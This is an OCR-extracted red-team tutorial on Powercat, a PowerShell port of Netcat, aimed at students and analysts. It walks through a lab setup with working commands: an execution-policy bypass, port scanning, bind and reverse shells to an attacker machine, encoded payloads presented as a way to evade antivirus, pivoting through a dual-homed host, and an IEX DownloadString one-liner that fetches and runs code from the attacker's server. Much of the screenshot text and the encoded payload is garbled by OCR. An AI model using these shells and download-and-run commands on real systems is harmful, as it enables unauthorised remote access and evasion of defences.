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Introduction

Powercat is a simple network utility used to perform low-level network communication operations. The
tool is an implementation of the well-known Netcat in Powershell. Traditional anti-viruses are known to
allow PowerCat to execute. The installed size of the utility is 68 KB. The portability and platform
independence of the tool make it an essential arrow in every red teamer’s quiver. learn the functionality
of this tool. You can download this here.

Basic Options in Powercat
Powercat supports various options to play around with.

-l Listen for a connection

-C Connect to a listener

-p The port to connect to or listen on
-e Execute
-ep Execute PowerShell

-g Generate payload

-ge Generate Encoded payload

-d Disconnect stream

-i Input data

Setting up Powercat

A PowerShell execution policy is a safety feature in Windows that determines which scripts can or cannot
run on the system. Therefore, we need to set the PowerShell execution policy to "bypass". This would
allow all scripts to run without restriction. Thereafter, we need to download Powercat using wget.

powershell -ep bypass

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl -o
powercat.psl

Is

PS C:\Users\ignite\Desktop> powershell bypass
indows PowerShell
opyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\ignite\Deskt wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl powercat.psl
PS C:\Users\ignite\Desktop> Ts

Directory: C:\Users\ignite\Desktop

LastwWriteTime Length Name

10/13/2021  9:43 AMm
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Now that we have downloaded the Powercat script, we can import it into the current Powershell terminal
and then use it.

Import-Module .\powercat.ps1
powercat -h

‘Wsers\ignite\Desktop> Import-Module .\powercat.psl

P5s C:
PS C:\Users\ignite\Desktop> powercat

powercat - Netcat, The Powershell Version .

Github Repository: https://github.com/besimorhino/powercat

his script attempts to implement the features of netcat in a powershell
script. It also contains extra features such as built-in relays, execute
powershell, and a dnscat? client.

Usage: powercat [-c or -1] [-p port] [options]

<ip> Client Mode. Provide the IP of the system you wish to connect to
If you are using -dns, specify the DNS Server to send queries to

Listen Mode. Start a listener on the port specified by -p.
Port. The port to connect to, or the port to listen on.
Execute. Specify the name of the process to start.

Execute Powershell. Start a pseudo powershell session. You can

declare variables and execute commands, but if you try to enter
another shell (nslookup, netsh, cmd, etc.) the shell will hang.

Relay. Used for relaying network traffic between two nodes.

— I R - =rala

Port Scanning

Powercat is equipped with the functionality to scan for open ports. It can do this by attempting a TCP
connection to the ports defined. For example, if | have to check for a running service on ports
21,22,80,443, we can do this by:

[ (21,22,80,443) | % {powercat -c 192.168.1.150 -p $_ -t 1 -Verbose -d}

Note that here, we have appended port number as a list variable. The client mode (-c flag) specifies the
client to scan. As we can observe in the screenshot below that if the port was found to be open, Powercat
successfully set up a stream with the service. the disconnect option (-d) flag specifies Powercat to
disconnect the stream as soon as it gets open. Hence, this is how open ports can be discovered using
Powercat.

(GNITE Page 4 of 15

Technologies



:\Users\ignite\Desktop> (21,22,80,443) | % {powercat 192.168.1.150
t Stream 1: TCP
et Stream 2: Console
etting up Stream 1..
Connecting. ..
Connection to |192.168.1.150:21 | [tcp] succeeded!
etting up Stream Z. ..
(disconnect) Activated. Disconnecting...
t Stream 1: TCP
t Stream 2: Console
tting up Stream 1..
onnecting. ..
Connection to |192.168.1.150:22 |[tcp] succeeded!
Setting up Stream 2. ..
(disconnect) Activated. Disconnecting...
t Stream 1: TCP
et Stream 2: Console
etting up Stream 1..
Connecting. ..
Connection to 192.168.1.150:80 [tcp] succeeded!
etting up Stream Z. ..
(disconnect) Activated. Disconnecting...
t Stream 1: TCP
t Stream 2: Console
etting up Stream 1..
Connecting. ..
Timeout!
Stream 1 Setup Failure
Failed to close Stream 2
SE: Failed to close Stream 1

File Transfer
File transfer is possible in Powercat by data input into the data stream and fetching it at the client end.

Let’s create a text file called "notes.txt" in the current folder. Here, the input flag (-i) is used to input data
into the stream. This can be used to move files, byte array objects, or strings too.

Now, we’ll first set up the listener at the client end. Let us use netcat in Linux for ease here. After setting
it up, we'll then use Powercat to transfer this text file.

Is
powercat -c 192.168.1.3 -p 443 -i notes.txt

PS C:\Users\ignite\Desktop> 1s
Directory: C:\Users\ignite\Desktop

LastWriteTime Length Name

10/13/2021 10:00 AMm 6518 encodedshell.psl
10/13/2021 10:03 AM notes. txt
10/13/2021 9:43 AM 37667 powercat.psl

PS C:KUsersKjgnjteRDegktop} powercat 192.168.1.3 443 notes.txt

Whatever was in notes.txt has been transferred to our destination. As you can see, the file was
successfully created after a successful connection was terminated.
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nc -Invp 443 > notes.txt
Is

- ~/powercat
notes.txt

3] from (UNKNOWN) [192.168.1.145] 49898

~/powercat

Bind Shell

Bind shell refers to the process where the attacker can connect to an open listener on the target machine
and interact with it. To demonstrate this, we’ll set up a listener at the target using Powercat and then
connect to it. There are two scenarios here:

Netcat to Powercat: Here, the attacker is Kali, and Windows has a listener running on it.
Attacker -> Kali
Victim -> Windows

In an ideal scenario, the attacker would deliver a code that gets executed to open a listener and then allow
the attacker to further communicate with the victim by connecting to it.

powercat -l -p 443 -e cmd
nc 192.168.1.145 443

PS C:\Users\ignite\Desktop> powercat

And thus, we observe that the interactive session is now active on the attacker machine.

2 ~/powercat
192.168.1.145 443
Microsoft Windows [Version 18.8.17763.1935]

(c) 2018 Microsoft Corporation. ALl rights reserved.

C:%Usershignite\Desktop>
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Powercat to Powercat: The same could be achieved between two Powercat scripts too. On the listener,
we set up port 9000 and the attacker to connect and deliver the cmd executable.

Listener: Ignite (Windows username)
Attacker: raj (Windows username)

powercat -l -p 9000 -e cmd -v
powercat -c 192.168.1.145 -p 9000 -v

Set Stream 1: TCP
Set Stream Z2: Process
J : Setting up Stream 1...
JERBOSE: Listening on [0.0.0.0] (port 9000)

/ERBOSE: Connection from [192.168.1.45] port [tcp]l accepted (source
/ERBOSE: Setting up Stream 2...

/JERBOSE: Starting Process cmd...
/ERBOSE: Both Communication Streams Established. Redirecting Data Betv

As you can see, the attacker is successfully able to connect to the listener and spawn an interactive
session. We checked the identity using whoami.

S C:\Users\raj\Desktop> powercat 192.168.1.145 9000
/ERBOSE: Set Stream 1: TCP
/ERBOSE: Set Stream Z2: Console

Setting up Stream 1...

Connecting. ..

Connection to 192.168.1.145:9000 [tcp] succeeded!

Setting up Stream 2...
Both Communication Streams Established. Redirecting Data Bet

1icrosoft Windows [Version 10.0.17763.3/79]
{c) 2018 Microsoft Corporation. All rights reserved.

:\Users\ignite>whoami
vhoam
msedgewinlO\ignite

:\Users\ignite>_

Reverse Shell
Reverse shell refers to the process in which the attacker machine has a listener running to which the
victim connects and then the attacker executes code.

1. Netcat to Powercat: Here, Kali (netcat) is the attacker machine with the listener running on port
443, and Windows running Powercat (victim) shall connect to it.

Attacker: Netcat (Kali)

Victim: Ignite (Windows username)

This is achieved by first running netcat in listener mode on the attacker machine and then running
powercat in client mode to connect.
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nc -lvnp 443
powercat -c 192.168.1.3 -p 443 -e cmd.exe

:\Users\ignite\Desktop> powercat 192.168.1.3 cmd. exe

As you can see, as soon as the victim enters the Powershell command, we get an interactive shell

® ~/powercat
C 443
listening on [any] &
connect to [lgl.le l J] from (UNKNOWN) [192.168.1.145] 49936
Microsoft Windows [Version 10.8.17763.1935]
(c) 2018 Microsoft Corporatiom. ALl rights reserved.

shwigniteZDesktop>

Powercat to Powercat: The same can be done with two Windows devices too.

Attacker: Ignite (Windows Username)

Victim: raj (Windows Username)

Let’s set up a listener on port 9000 first and then run powercat in client mode to connect to it.

powercat -c 192.168.1.145 -p 9000 -e cmd -v
powercat -l -p 9000 -v

PS C:\Users\raj\Desktop> powercat 192.168.1.145 9000 cmd
/JERBOSE: Set Stream 1: TCP

/JERBOSE: Set Stream 2: Process

/JERBOSE: Setting up Stream 1...

JERBOSE: Connecting...

/JERBOSE: Connection to 192.168.1.145:9000 [tcp] succeeded!
JERBOSE: Setting up Stream 2Z2...

JERBOSE: Starting Process cmd. ..

As you can see, an interactive shell has been spawned by connecting to this listener.

PS C:\Usershignite\Desktop> powercat

/JERBOSE: Set Stream 1: TCP

JERBOSE: Set Stream Z2: Console

/ERBOSE: Setting up Stream 1...

/ERBOSE: Listening on [0.0.0.0] {port 9000)

/JERBOSE: Connection from [192.168.1.45] port [tcp] accepted (source po
/JERBOSE: Setting up Stream 2...

/JERBOSE: Both Communication Streams Established. Redirecting Data Betwe
licrosoft Windows [Version 10.0.18362.53]

(c) 2019 Microsoft Corporation. All rights reserved.

:\Usersh\raj\Desktop>_
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But of course, the above Powercat command at the victim’s end is just a simulation of how gaining an
interactive shell through remote code execution in real life would work.

Standalone shell

The option is useful when a script can be executed within the system. This allows an attacker to code a
reverse shellina ".ps1" file and wait for the script to be executed. Scenario 1: Let’s say a cron job is running
that executes a script that has to write access. One can copy-paste the following command to get a reverse
shell easily, even with no PowerShell command execution access.

powercat -c 192.168.1.3 -p 443 -e cmd.exe -g > shell.ps1
Is
\shell.ps1

:\Users\ignite\Desktop> powercat 192.168.1.3 443 cmd. exe > shell.psl
:\Users\ignite\Desktop> ls

Directory: C:\Users\ignite\Desktop

LastWriteTime Length Name

10/13/2021  9:43 AM B Gh enerEa
10/13/2021 9:58 AM i 6 shell.psl

PS C:\Users\ignite\Desktop> .\shell.psl

Make sure the listener is running. We are using Kali as an attacker machine using Netcat.

[ nc -Invp 443

2 ~/powercat

C 443
Listening on [am)
onnect to [192.168.1.
\icrosoft Windows [V

1935]
[ c) 2018 Microsoft Corporation. ALl rights reserved.

\Usersh\ignite\Desktop>

As you can see, there are multiple ways to get an interactive shell on the target machine using netcat.

Encoded Shell

To evade traditional security devices like anti-virus solutions, we can encode the shell that we used above.
Powercat has a good feature to encode commands into a Hexadecimal Array. This way, some of the basic
security features can be bypassed. This is done by:

powercat -c 192.168.1.3 -p 443 -e cmd.exe -ge > encodedshell.ps1
cat .\encodedshell.ps1
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: \llser s \1 qm te\Desktop> power cat 192.168.1. 443 cmd. exe > encodedshell.psl
:\Users\ignite\Desktop> cat .\encodedshell. psl
ZgBlA(;4 AYwB0AGkAbwBuUACAAUWBOAHIAZOBhAGOAMQB fAFMAZQBOAHUACAAKAHS AC gAKACAATAAQAC AACABhAHTIAYQBtAC gAJAB(
YAdQBUAGMAUWB 1 AHQAQBWAF YAYQBYAHMAC gAgACAATAAGAGKAZgAOACQAZWBS AGEAYgBhAGWAOgBWAGUACOB 1AGSACWB 1ACKkAey

a EAAewB QAAC:AI AAgAC AATAB pAG YAKAAhAC QAbAApAAoAI AAgACAAT AB.-TAAOAIAAQACAAI AAgACAAJABGAHI_IAbgB JAF \"A\"QByAHM A

IqAKACAAIAAqACAAIAAqACQAnABhAh4AZABSAhHAIAAqACAA1AETA&RA\wBlAhHAdAAuAEIAZQBnAhkAquDAhﬁAquuAhHA\wB
UACQAgQACAATIAAGAHS ACJAGACAATAAGACAATAAKAE YAdQBUAGMAYGBhAHIACWBbACTAbAATAF OATAA9ACAAIABUAHIAQB 1AAOATA
AF s AMAAUADAAL gAWAC4 AMABAACAAKABWAGBACGBOACAATgAGACSATAAKAHAATAArACAATgAPACTAKQAKACAATAAGACAATAAGACOA
BtAhHAdABZAC4AAAB]AHAATABpAHMAdABTAh4AZQByACAA1ABWAAOAIAAqACAAIAAqACAA1AETA&RA\wBlAhHAdAAuAFMAdABhA

And then the shell can be run by using the powershell -E option, which can execute an encoded string.

[ powershell -E <string> ]

The string is then encoded value from above.

:\Users\ignite'Desktop> powershell ZgB1AGAAYWBOAGKADWBUACAALUWBDAHIAZQERAGOAMOE
GMAUWE TAHOAOBWAF YAY(QBYAHMAL gAGALAA LAAQAGKAZ gADACOAZWESAGBAY gBhAGWADgBWAGUACOE 1 AG
ACAATAB7 AACATAAQACAATAAQACAATABGAHUADGE j AFYAYQBAHMAWWATAGWAT gBdACAAPQAGACQARGBhAGWACK
AdAAKACAATAAGACAATAAGAF CACGEPAHQAZ QATAF YAZQBYAGIAbWBZAGUATAAT AEMAbWBUAGAAZQE jAHOAAGB U/
BuAHUAbABsSACKAC gAgACAATAAGAHDACgAQACAATAAGAGUABARZAGUAC gAgACAATAAGAHS ACQAQACAATAAGAC AL
GB8AbgAgAF s AMAAUADAAL gAWACAAMABdACAAKA 3AcgBOACAATgAQAC S ATAAKAHAATAAr ACAAT gAPACTAKQ,
ZQByACAAJABWAADATAAGACAATAAQACAAIABTAL BrAGUAdAAUAFMAJABhAHIAdAADACKACGAGACAATAAGAC
gACAATAB9AADATAAGACAATAAKACAATAAGAC AATARTAHOAbWBWAHCAYQROAGMAaAAQADDATABBAFMAEQR ZAHO/
AATAAQAHS ACgAgACAATAAQACAATABpAGYAKAAKAE gAbwBZAHQAL gBVAEKAL gBSAGEADWBVAEKAL gBLAGUAeQRH
QBJAC4AUGBhAHCAVOBIACAALQGE 1 AGEAZ ABL AGUAEQACACTATgEVAEUAYWBOAGBAL ABJAGAAYWEBSAHUAZ AR TAE
AcgBpAHQAZ QAT AFYAZ QByAGIAbWBzAGUATLAATAEMAVABSAEWATABVAHIATABFAFMAQWAGAGMAY(

! ACQ, GMAawR 1 AHQAL gBTAHQAbWBWAC gAKQB9AA0ATAAGACAATAAGACAAT AAQACAATAR TAGWACWE 1,
B1AHIAZQBhAGSACgAQACAATAAGACAATAAGACAATQAKACAATAAQACAATAAGAHOACgAGACAATAAGACAATABPAGY/
CAAQBMACgATQAKAGWAKQBT ACQAUWBvAGMAawE 1 AHQAL gBD. .JthAuUAhAApAHDACgAgACAAIAAgACAAIA
TABXAHTAAQBOAGUALQBWAGUACGR 1 AGBACWB 1 ACAAT gBUAGKABGR 1 AGBAJQRDACEAT gAgADSATAR 1 AHTAZQBhAC

We had set up a listener on our attacker machine (Kali) beforehand and were waiting for the connection.
As you can see, the shell is getting executed successfully.

t nc -lvnp 443 ]

2 ~/powercat

.3] from (UNKNOWN) [192.168
ersion 10.8.177 1935]
[c) 2018 Microsoft _ﬂlpﬂlatlﬂn. All rights reserved.

Cih\Usershigniteh\Desktop>

Tunnelling

Tunnelling is the most efficient mechanism of maintaining stealth while doing red team operations or
even in real-life scenarios. Powershell and Powercat can help us with tunneling and hiding our identity
next time we conduct a red team assessment.
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Here, there are three machines. Here, the Attacker communicates with a machine with two LAN cards and
attacks a machine running on an alternate subnet (192.168.146.0/24)

Attacker
User: ignite
0S: Windows

Tunnel
IPs: 192.168.1.45,

Victim
IPs: 192.168.146.129

192.168.146.128
User: Metasploitable

User: raj

Let’s assume the attacker already has access to the tunnel machine. We’'ll replicate the scenario using the
Enter-PSSession command. This utility allows us to get an interactive Powershell terminal in the tunnel
with the help of credentials.

Enter-PSSession -ComputerName 192.168.1.45 -Credential raj

S C:\Users\ignite\Desktop> Enter-PSSession 192.168.1.45

Windows PowerShell credential request

&

‘.‘-“ \

Enter your credentials.

User name: | € ra

Password: | Y

After we input the credentials, we can see that an interactive PowerShell session has been spawned.

We run ipconfig as a validator command. However, we made an interesting observation. This machine
had two LAN cards configured, and there was another adapter attached. It is possible that other machines
are running on this subnet.

C:RﬂserskiqnitekDesktopﬁ Enter-PsSession 192.168.1.45

S g
[192.168.1.45]: PS C:\Users\raj\Documents> ipconfig

indows IP Configuration

thernet adapter Ethernet0:

Connection-specific DNS suffix
Link-local IPv6 Address . . .
IPvd Address. .-

Subnet Mask . -

Default Gateway .

0:54d5: 2ef4%6

thernet adapter Ethernetl:

: localdomain

- felB0::5012:c45d:-d4ed:255a%8
:1192.168.146.128

: 205.255.255.0

Connection-specific DNS suffix
Link-local IPv6 Address . . .
IPvd Address. .-

Subnet Mask . -

Default Gateway .

cGNITE
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To work on our observation, we’d need Powercat in this system. We download it using wget.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl -o
powercat.psl

ocuments> wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.psl powercat.psl
raj\Documents:>

Directory: C:\Users\raj\Documents

Name

owercat.psl

But before we can run this script, we need to change the execution policy again. Also, upon a little
searching, we found that 192.168.146.129 was alive and responding. Let’s scan this system using
Powercat.

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned
Import-Module .\powercat.ps1
(21, 22, 80, 443) | % { powercat -c 192.168.146.129 -p $_ -t 1 -Verbose -d}

Set-ExecutionPolicy RemoteSigned
rs\raj\ Import-Module .\powercat.psl
ers\raj\Document (21, 22, 80, 443) | % { powercat 192.168.146.129
ream 1: TCP
ream 2: Console
: Setting up Stream 1...
: Connecting
Connection to[192.168.146.129:21 [tcp] succeeded!
Setting up Stream Z...
(disconnect) Activated. Disconnecting...
ream 1: TCP
ream 2: Console
etting up Stream 1...
Connecting. ..
Connection to|192.168.146.129:22 |[tcp] succeeded!
H tting up Stream Z2
(disconnect) Activated. Disconnecting...
ream 1: TCP
3 2: Console
: Setting up ream 1...
: Connecting
Connection 192.168.146.129:80 | [tcp] succeeded!
Setting up Stream Z...
disconnect) Activated. Disconnecting...
ream 1: TCP
ream 2: Console
: Setting up Stream 1...
: Connecting...
Timeout!
Stream 1 Setup Failure
Failed to close Stream 2
SE: Failed to close Stream 1

Now, if we set up a traffic relay here, our attacker system might be able to communicate and connect with
SSH on the victim machine (192.168.146.129)

We'll use Powercat to set up a traffic relay:

powercat -l -p 9090 -r tcp:192.168.146.129:22 -v

PS C:\Users\raj\Documents> powercat 9090 tcp:192.168.146.129:22
Set Stream 1: TCP
Set Stream 2: TCP

Setting up Stream 1...
Listening on [0.0.0.0] (port 9090)
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As you can see above, TCP traffic from port 22 on 192.168.146.129 is now being relayed by
192.168.146.128 (tunnel) on port 9090. Thus, from an external system, we use PuTTY to connect to the
tunnel machine’s 9090 port, which will connect us to the victim machine.
PS C:\Users\raj\Documents> powercat 9090 tcp:192.168.146.129:22
ream 1: TCP
ream 2: TCP

etting up Stream 1...
Listening on [0.0.0.0] (port 9090)

Basic options for your PuTTY session

Specify the destination you want to connect to

I address) Port
||15-2.153.1.45| flsosa | |

Features Connection type:
£ Window @3SH  OSeid OOther: | Telnet

=] Terminal

- Appearance

- Behaviour Load, save or delete a stored session

7 Translation Saved Sessions

+ Selection
i Colours
=1 Connection Default Settings

Close window on exit:
(O Mways () Never  (®) Only on clean exit

And just like that, we now have completed our tunnel and accessed our victim machine.

[192.168.1.45]: PS C:\Users\raj\Documents> powercat 9090 tcp:192.168.146.129:22
/JERBOSE: Set Stream 1: TCP

/JERBOSE: Set Stream 2: TCP

/JERBOSE: Setting up Stream 1...

/JERBOSE: Listening on [0.0.0.01 (port 9090)

/ERBOSE: Connection from [192.168.1.145] port [tcp] accepted (source port 49859)
/JERBOSE: Setting up Stream Z...

/JERBOSE: Connecting.. .

/ERBOSE: Connection to|192.168.146.129:22| [tcp] succeeded!

| 2P 192.168.1.45 - PuTTY
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We can use Powercat to setup a relay on port 80 too through which we’ll be able to access the website
running on victim.

powercat -l -p 9090 -r tcp:192.168.146.129:80 -v

As evident, the victim is now accessible through this tunnel.

[192.168.1.45]: Ps C:\Users\raj\Documents> powercat 9090 tcp:192.168.146.129: 80
et Stream 1: TCP
et Stream 2: TCP
etting up Stream 1...
Listening on [0.0.0.0] (port 9090)
Connection from [192. .1.145] port [tcp] accepted (source port 49881)
Setting up Stream 2.
: Connecting...
: Connection to 192.168.146.129:80 [tcp] succeeded!

Metasploitablel - Linux x +

@] O & 192.168.1.45:909C

Powercat One Liner

Powercat’s reverse shell exists as a one-liner command too. Assuming that we have code execution on
the victim, we can use Powercat’s one-liner to get a reverse shell back on the listener running on the
attacker’s machine. For this process, we need to download Powercat in a separate folder and run a web
server.

wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
python -m SimpleHTTPServer 80
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~fexploit
/ i.githubusercontent.com/besimorhino/powercat/master/powercat.psl
51— http thubusercontent.com/besimorhino/po cat/master/powercat.

Resolving raw.githubusercontent.com [ githubusercontent.com) ... 185.199.111.1
Connecting to raw.githubusercontent. (raw.githubusercontent.com)|185.199.111.
HTTP request sent, awaiting response ... 0K
Length: 667 (37K) [text/plain]
Saving 2

16
2 MB/s) - ‘powercat.psl’ saved [37667

~/fexploit
SimpleHTTPServer 8@

Now, we’ll set up a listener on port 4444 in the attacker (kali) machine immediately. Meanwhile, we have
code execution on the target and thus, we’ll use the following Powershell/Powercat one-liner:

powershell -c "IEX(New-Object
System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.psl1');powercat -c
192.168.1.3 -p 4444 -e cmd"

powershell -c ew-Obje .Net.WebClient).Downloa .psl');powercat -c 19 -p 4444 -e cmd”

Soon as we hit enter, we’ll receive a reverse shell on the listener running in Kali.

[ nc -lvp 4444 ]

A\>whoami
whnami
msedgewinl@lignite

Conclusion

As a result, we've demonstrated the various Powercat features. The tool is being readily used in red team
assessments and is becoming part of major cyber security certification courses. | hope the article helps
aspirants/students, or analysts understand the tool in a simple and effective way.
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